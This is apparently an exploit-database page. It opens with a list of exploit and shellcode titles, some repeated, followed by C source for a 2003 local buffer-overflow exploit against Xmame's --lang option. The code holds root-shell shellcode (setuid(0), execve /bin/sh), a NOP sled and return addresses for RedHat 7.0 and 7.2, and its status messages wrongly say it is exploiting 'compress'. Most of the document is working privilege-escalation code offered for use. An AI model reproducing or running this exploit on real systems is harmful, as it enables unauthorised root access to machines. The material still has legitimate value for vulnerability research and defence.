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14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
74 lines
No EOL
2.4 KiB
C
74 lines
No EOL
2.4 KiB
C
// source: https://www.securityfocus.com/bid/7773/info
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Xmame is prone to a locally exploitable buffer overflow. This is due to insufficient bounds checking of the command line parameter used to specify language settings (--lang). Successful exploitation on some systems could result in execution of malicious instructions with elevated privileges.
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/*
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---------------------------------------------------------------------------
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Web: http://qb0x.net Author: Gabriel A. Maggiotti
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Date: March 31, 2003 E-mail: gmaggiot@ciudad.com.ar
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---------------------------------------------------------------------------
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*/
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#include <stdio.h>
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#define OFFSET 1058
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#define NOP 0x90
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#define NOP1 'B'
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#define RET_70 0xbfffee00
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#define RET_72 0xbfffedf0
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int
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main(int argc, char *argv[])
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{
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int i=0; char buf[OFFSET];
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int c, ret;
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unsigned char shellcode1[] =
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"\x33\xDB\x33\xC0\xB0\x1B\xCD\x80" // alarm(0);
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"\x31\xdb\x89\xd8\xb0\x17\xcd\x80" // setuid(0);
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"\x31\xc0\x50\x50\xb0\xb5\xcd\x80" // setgid(0);
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"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
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"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
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"\x80\xe8\xdc\xff\xff\xff/bin/sh";
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if(argc != 2) {
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fprintf(stderr,"usage: %s <os_type> \n",argv[0]);
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fprintf(stderr,"types:\n RedHat 7.0 - [1]");
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fprintf(stderr,"\n RedHat 7.2 - [2]\n\n");
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return 1;
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}
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c=atoi(argv[1]);
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switch(c) {
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case 1:
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printf("Exploiting compress for RedHat 7.0\n");
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ret = RET_70 - OFFSET;
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break;
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case 2:
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printf("Exploiting compress for RedHat 7.2\n");
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ret = RET_72 - OFFSET;
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break;
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}
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for(i=0;i<=OFFSET-1 ;i++)
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buf[i]=NOP;
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for(i=OFFSET-301;i<=OFFSET-1 ;i+=4)
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*(int *) &buf[i++] = ret;
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memcpy(buf+200,shellcode1,strlen(shellcode1));
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execl("/usr/local/bin/xmame.x11", "/usr/local/bin/xmame.x11","--lang", buf, NULL);
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return 0;
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}
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/*
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---------------------------------------------------------------------------
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research-list@qb0x.net is dedicated to interactively researching vulnerab-
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ilities, report potential or undeveloped holes in any kind of computer system.
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To subscribe to research-list@qb0x.ne t send a blank email to
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research-list-subscribe@qb0x.net. More help available sending an email
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to research-list-help@qb0x.net.
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Note: the list doesn't allow html, it will be stripped from messages.
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---------------------------------------------------------------------------
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*/ |